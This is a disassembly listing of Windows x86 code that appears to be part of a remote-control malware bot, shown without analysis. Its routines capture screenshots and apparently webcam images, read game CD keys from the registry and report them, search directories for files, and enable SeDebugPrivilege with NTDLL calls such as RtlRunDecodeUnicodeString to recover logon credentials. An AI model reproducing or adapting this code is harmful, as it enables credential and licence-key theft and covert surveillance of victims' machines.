		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	dword_423084	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4085F4
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	dword_42307C	; WriteFile
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	dword_42307C	; WriteFile
		cmp	ebx, esi
		jz	short loc_4085D6
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	dword_42307C	; WriteFile

loc_4085D6:				; CODE XREF: sub_4083F0+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	dword_42307C	; WriteFile
		push	[ebp+arg_0]
		call	dword_423078	; CloseHandle
		xor	esi, esi
		inc	esi

loc_4085F4:				; CODE XREF: sub_4083F0+1A2j
		push	[ebp+var_1C]
		call	dword_43EA88	; DeleteObject
		push	[ebp+var_4]
		call	dword_43E9EC	; DeleteDC
		mov	edi, [ebp+var_20]

loc_408609:				; CODE XREF: sub_4083F0+70j
		push	edi
		call	dword_43E9EC	; DeleteDC
		mov	eax, esi
		jmp	short loc_408626
; ---------------------------------------------------------------------------

loc_408614:				; CODE XREF: sub_4083F0+C7j
					; sub_4083F0+D9j ...
		push	edi
		call	dword_43E9EC	; DeleteDC
		push	[ebp+var_4]
		call	dword_43E9EC	; DeleteDC

loc_408624:				; CODE XREF: sub_4083F0+23j
		xor	eax, eax

loc_408626:				; CODE XREF: sub_4083F0+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4083F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40862B	proc near		; CODE XREF: sub_40EC43+46A1p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		inc	esi
		xor	ebx, ebx
		push	esi
		push	dword_43D5C4
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43EA7C
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_408669
		mov	eax, esi
		jmp	loc_40881F
; ---------------------------------------------------------------------------

loc_408669:				; CODE XREF: sub_40862B+35j
		push	edi
		call	dword_43EAC4	; IsWindow
		test	eax, eax
		jz	short loc_408686
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43EB80	; SendMessageA
		jmp	short loc_408688
; ---------------------------------------------------------------------------

loc_408686:				; CODE XREF: sub_40862B+47j
		xor	eax, eax

loc_408688:				; CODE XREF: sub_40862B+59j
		cmp	eax, ebx
		jnz	short loc_408693

loc_40868C:				; CODE XREF: sub_40862B+88j
					; sub_40862B+BCj
		mov	ebx, esi
		jmp	loc_408814
; ---------------------------------------------------------------------------

loc_408693:				; CODE XREF: sub_40862B+5Fj
		push	edi
		call	dword_43EAC4	; IsWindow
		test	eax, eax
		jz	short loc_4086B0
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43EB80	; SendMessageA

loc_4086B0:				; CODE XREF: sub_40862B+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_40868C
		push	edi
		call	dword_43EAC4	; IsWindow
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4086D6
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_43EB80	; SendMessageA
		mov	[ebp+arg_4], eax
		jmp	short loc_4086D9
; ---------------------------------------------------------------------------

loc_4086D6:				; CODE XREF: sub_40862B+98j
		mov	[ebp+arg_4], ebx

loc_4086D9:				; CODE XREF: sub_40862B+A9j
		push	[ebp+arg_4]
		call	sub_417889
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_40868C
		push	[ebp+arg_4]
		call	sub_417889
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_408700
		xor	ebx, ebx
		inc	ebx
		jmp	loc_408814
; ---------------------------------------------------------------------------

loc_408700:				; CODE XREF: sub_40862B+CBj
		push	[ebp+var_4]
		call	dword_43EAC4	; IsWindow
		test	eax, eax
		jz	short loc_40871D
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43EB80	; SendMessageA

loc_40871D:				; CODE XREF: sub_40862B+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_417090
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_408738
		mov	ecx, 280h

loc_408738:				; CODE XREF: sub_40862B+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_408744
		mov	eax, 1E0h

loc_408744:				; CODE XREF: sub_40862B+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_43EAC4	; IsWindow
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_40878E
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43EB80	; SendMessageA

loc_40878E:				; CODE XREF: sub_40862B+153j
		push	[ebp+var_4]
		call	dword_43EAC4	; IsWindow
		test	eax, eax
		jz	short loc_4087AB
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_43EB80	; SendMessageA

loc_4087AB:				; CODE XREF: sub_40862B+16Ej
		push	[ebp+var_4]
		call	dword_43EAC4	; IsWindow
		test	eax, eax
		jz	short loc_4087CA
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_43EB80	; SendMessageA

loc_4087CA:				; CODE XREF: sub_40862B+18Bj
		push	[ebp+var_4]
		call	dword_43EAC4	; IsWindow
		test	eax, eax
		jz	short loc_4087E7
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43EB80	; SendMessageA

loc_4087E7:				; CODE XREF: sub_40862B+1AAj
		push	[ebp+var_8]
		call	sub_41793B
		push	esi
		call	sub_41793B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43EAC4	; IsWindow
		test	eax, eax
		jz	short loc_408814
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_43EB80	; SendMessageA

loc_408814:				; CODE XREF: sub_40862B+63j
					; sub_40862B+D0j ...
		push	[ebp+var_4]
		call	dword_43EBD4	; DestroyWindow
		mov	eax, ebx

loc_40881F:				; CODE XREF: sub_40862B+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40862B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408824	proc near		; CODE XREF: sub_40EC43+475Ep

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		inc	esi
		xor	ebx, ebx
		push	esi
		push	dword_43D5C4
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43EA7C
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_408862
		mov	eax, esi
		jmp	loc_408A5E
; ---------------------------------------------------------------------------

loc_408862:				; CODE XREF: sub_408824+35j
		push	edi
		call	dword_43EAC4	; IsWindow
		test	eax, eax
		jz	short loc_40887F
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43EB80	; SendMessageA
		jmp	short loc_408881
; ---------------------------------------------------------------------------

loc_40887F:				; CODE XREF: sub_408824+47j
		xor	eax, eax

loc_408881:				; CODE XREF: sub_408824+59j
		cmp	eax, ebx
		jnz	short loc_40888C

loc_408885:				; CODE XREF: sub_408824+8Bj
					; sub_408824+BCj
		mov	ebx, esi
		jmp	loc_408A55
; ---------------------------------------------------------------------------

loc_40888C:				; CODE XREF: sub_408824+5Fj
		push	edi
		call	dword_43EAC4	; IsWindow
		test	eax, eax
		jz	short loc_4088AC
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43EB80	; SendMessageA

loc_4088AC:				; CODE XREF: sub_408824+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_408885
		push	edi
		call	dword_43EAC4	; IsWindow
		test	eax, eax
		jz	short loc_4088CF
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_43EB80	; SendMessageA
		mov	[ebp+arg_4], eax
		jmp	short loc_4088D2
; ---------------------------------------------------------------------------

loc_4088CF:				; CODE XREF: sub_408824+96j
		mov	[ebp+arg_4], ebx

loc_4088D2:				; CODE XREF: sub_408824+A9j
		push	[ebp+arg_4]
		call	sub_417889
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_408885
		push	[ebp+arg_4]
		call	sub_417889
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4088F9
		xor	ebx, ebx
		inc	ebx
		jmp	loc_408A55
; ---------------------------------------------------------------------------

loc_4088F9:				; CODE XREF: sub_408824+CBj
		push	edi
		call	dword_43EAC4	; IsWindow
		test	eax, eax
		jz	short loc_408916
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_43EB80	; SendMessageA

loc_408916:				; CODE XREF: sub_408824+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_417090
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_408931
		mov	ecx, 0A0h

loc_408931:				; CODE XREF: sub_408824+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_40893B
		push	78h
		pop	eax

loc_40893B:				; CODE XREF: sub_408824+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_43EAC4	; IsWindow
		test	eax, eax
		jz	short loc_408980
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_43EB80	; SendMessageA

loc_408980:				; CODE XREF: sub_408824+14Aj
		push	edi
		call	dword_43EAC4	; IsWindow
		test	eax, eax
		jz	short loc_40899D
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_43EB80	; SendMessageA

loc_40899D:				; CODE XREF: sub_408824+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_43EAC4	; IsWindow
		test	eax, eax
		jz	short loc_4089DB
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_43EB80	; SendMessageA

loc_4089DB:				; CODE XREF: sub_408824+1A3j
		push	edi
		call	dword_43EAC4	; IsWindow
		test	eax, eax
		jz	short loc_4089F6
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_43EB80	; SendMessageA

loc_4089F6:				; CODE XREF: sub_408824+1C0j
		push	edi
		call	dword_43EAC4	; IsWindow
		test	eax, eax
		jz	short loc_408A0F
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_43EB80	; SendMessageA

loc_408A0F:				; CODE XREF: sub_408824+1DBj
		push	edi
		call	dword_43EAC4	; IsWindow
		test	eax, eax
		jz	short loc_408A2C
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_43EB80	; SendMessageA

loc_408A2C:				; CODE XREF: sub_408824+1F4j
		push	[ebp+var_4]
		call	sub_41793B
		push	esi
		call	sub_41793B
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43EAC4	; IsWindow
		test	eax, eax
		jz	short loc_408A55
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_43EB80	; SendMessageA

loc_408A55:				; CODE XREF: sub_408824+63j
					; sub_408824+D0j ...
		push	edi
		call	dword_43EBD4	; DestroyWindow
		mov	eax, ebx

loc_408A5E:				; CODE XREF: sub_408824+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408824	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408A63	proc near		; CODE XREF: sub_40EC43+5818p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_42AA0C, ebx
		mov	[ebp+var_C], 80h
		jz	loc_408C0F
		push	esi
		push	edi
		mov	eax, offset off_42AA0C
		mov	esi, offset dword_42AA18
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."

loc_408A93:				; CODE XREF: sub_408A63+1A4j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_43EB94	; RegOpenKeyExA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_43EA30	; RegQueryValueExA
		test	eax, eax
		jnz	loc_408BF6
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_408BBA
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_4176A8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_408BF6
		push	eax
		jmp	short loc_408B23
; ---------------------------------------------------------------------------

loc_408B0E:				; CODE XREF: sub_408A63+D0j
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_417580
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408B37
		push	[ebp+var_8]

loc_408B23:				; CODE XREF: sub_408A63+A9j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_418D0C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408B0E
		jmp	short loc_408BAF
; ---------------------------------------------------------------------------

loc_408B37:				; CODE XREF: sub_408A63+BBj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_418C50
		pop	ecx
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_70]
		jz	short loc_408B76
		push	offset asc_42BC20 ; "="
		push	eax
		call	sub_41886E
		push	offset asc_42BC20 ; "="
		push	ebx
		call	sub_41886E
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_416FB6
		add	esp, 20h
		jmp	short loc_408B8A
; ---------------------------------------------------------------------------

loc_408B76:				; CODE XREF: sub_408A63+E5j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_416FB6
		add	esp, 10h

loc_408B8A:				; CODE XREF: sub_408A63+111j
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BD8D
		add	esp, 18h

loc_408BAF:				; CODE XREF: sub_408A63+D2j
		push	[ebp+var_8]
		call	sub_417600
		pop	ecx
		jmp	short loc_408BF6
; ---------------------------------------------------------------------------

loc_408BBA:				; CODE XREF: sub_408A63+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BD8D
		add	esp, 28h

loc_408BF6:				; CODE XREF: sub_408A63+60j
					; sub_408A63+A2j ...
		push	[ebp+var_4]
		call	dword_43EB00	; RegCloseKey
		add	esi, 18h
		lea	eax, [esi-0Ch]
		cmp	[eax], ebx
		jnz	loc_408A93
		pop	edi
		pop	esi

loc_408C0F:				; CODE XREF: sub_408A63+19j
		pop	ebx
		leave
		retn
sub_408A63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C12	proc near		; DATA XREF: sub_40EC43+3D16o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_4177B0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_408C67
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_4177B0
		pop	ecx
		mov	[ebp+eax+var_115], bl

loc_408C67:				; CODE XREF: sub_408C12+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset dword_42BC80
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41752A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408CAC
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D476
		add	esp, 14h

loc_408CAC:				; CODE XREF: sub_408C12+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_408D2A
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset dword_42BC44
		push	eax
		call	sub_416FB6
		add	esp, 24h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408D0A
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D476
		add	esp, 14h

loc_408D0A:				; CODE XREF: sub_408C12+D6j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_10]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_408C12	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408D2A	proc near		; CODE XREF: sub_408C12+B9p
					; sub_408D2A+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_5	; "%s\\*"
		push	esi
		push	eax
		call	sub_41752A
		mov	edi, dword_4230BC
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_408DE7

loc_408D76:				; CODE XREF: sub_408D2A+BBj
		test	[ebp+var_144], 10h
		jz	short loc_408DD3
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_408D9A
		cmp	[ebp+var_117], 0
		jz	short loc_408DD3
		cmp	[ebp+var_117], 2Eh
		jz	short loc_408DD3

loc_408D9A:				; CODE XREF: sub_408D2A+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41752A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408D2A
		add	esp, 2Ch
		mov	[ebp+arg_14], eax

loc_408DD3:				; CODE XREF: sub_408D2A+53j
					; sub_408D2A+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	dword_4230B8	; FindNextFileA
		test	eax, eax
		jnz	short loc_408D76

loc_408DE7:				; CODE XREF: sub_408D2A+4Aj
		push	[ebp+var_4]
		call	dword_4230AC	; FindClose
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41752A
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_408E6D

loc_408E1E:				; CODE XREF: sub_408D2A+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_41752A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	dword_4230B8	; FindNextFileA
		test	eax, eax
		jnz	short loc_408E1E

loc_408E6D:				; CODE XREF: sub_408D2A+F2j
		push	esi
		call	dword_4230AC	; FindClose
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408D2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E7C	proc near		; DATA XREF: sub_40EC43+51E6o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+90h], esi
		call	sub_40B5A0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_408EBB
		cmp	eax, 2
		jz	short loc_408EBB
		push	offset dword_42BF38
		jmp	loc_408FFA
; ---------------------------------------------------------------------------

loc_408EBB:				; CODE XREF: sub_408E7C+2Ej
					; sub_408E7C+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_414EAB
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FF5
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	dword_4230E0	; LoadLibraryA
		mov	esi, dword_4230DC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi	; GetProcAddress
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_43E7D4, eax
		call	esi	; GetProcAddress
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_43E7C8, eax
		call	esi	; GetProcAddress
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_43E9D8, eax
		call	esi	; GetProcAddress
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_43E7D0, eax
		call	esi	; GetProcAddress
		mov	dword_43E7CC, eax
		call	sub_40904E
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_408FC8
		mov	esi, dword_4230D8
		mov	edi, 400h
		mov	ebx, offset dword_43D7C8
		push	edi
		push	ebx
		push	offset aUsername ; "USERNAME"
		call	esi	; GetEnvironmentVariableW
		push	edi
		mov	edi, offset dword_43DFC8
		push	edi
		push	offset aUserdomain ; "USERDOMAIN"
		call	esi	; GetEnvironmentVariableW
		cmp	[ebp+var_4], 1
		push	offset dword_43E9DC
		push	[ebp+arg_0]
		jnz	short loc_408F74
		call	sub_4091D7
		jmp	short loc_408F79
; ---------------------------------------------------------------------------

loc_408F74:				; CODE XREF: sub_408E7C+EFj
		call	sub_40937B

loc_408F79:				; CODE XREF: sub_408E7C+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408FC1
		cmp	dword_43E9DC, 0
		jnz	short loc_408FA8
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset dword_42BDD8
		push	200h
		push	eax
		call	sub_41752A
		add	esp, 18h
		jmp	short loc_408FDB
; ---------------------------------------------------------------------------

loc_408FA8:				; CODE XREF: sub_408E7C+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_408FB8
		call	sub_4094A8
		jmp	short loc_408FBD
; ---------------------------------------------------------------------------

loc_408FB8:				; CODE XREF: sub_408E7C+133j
		call	sub_40953F

loc_408FBD:				; CODE XREF: sub_408E7C+13Aj
		pop	ecx
		push	eax
		jmp	short loc_408FCD
; ---------------------------------------------------------------------------

loc_408FC1:				; CODE XREF: sub_408E7C+101j
		push	offset dword_42BD80
		jmp	short loc_408FCD
; ---------------------------------------------------------------------------

loc_408FC8:				; CODE XREF: sub_408E7C+B6j
		push	offset dword_42BD30

loc_408FCD:				; CODE XREF: sub_408E7C+143j
					; sub_408E7C+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx

loc_408FDB:				; CODE XREF: sub_408E7C+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_414EAB
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	dword_4230D4	; FreeLibrary
		pop	ebx
		jmp	short loc_409008
; ---------------------------------------------------------------------------

loc_408FF5:				; CODE XREF: sub_408E7C+4Ej
		push	offset dword_42BCE0

loc_408FFA:				; CODE XREF: sub_408E7C+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx

loc_409008:				; CODE XREF: sub_408E7C+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_40902F
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_40D476
		add	esp, 14h

loc_40902F:				; CODE XREF: sub_408E7C+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_18]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	esi
		call	dword_423054	; ExitThread
		pop	edi
		pop	esi
sub_408E7C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



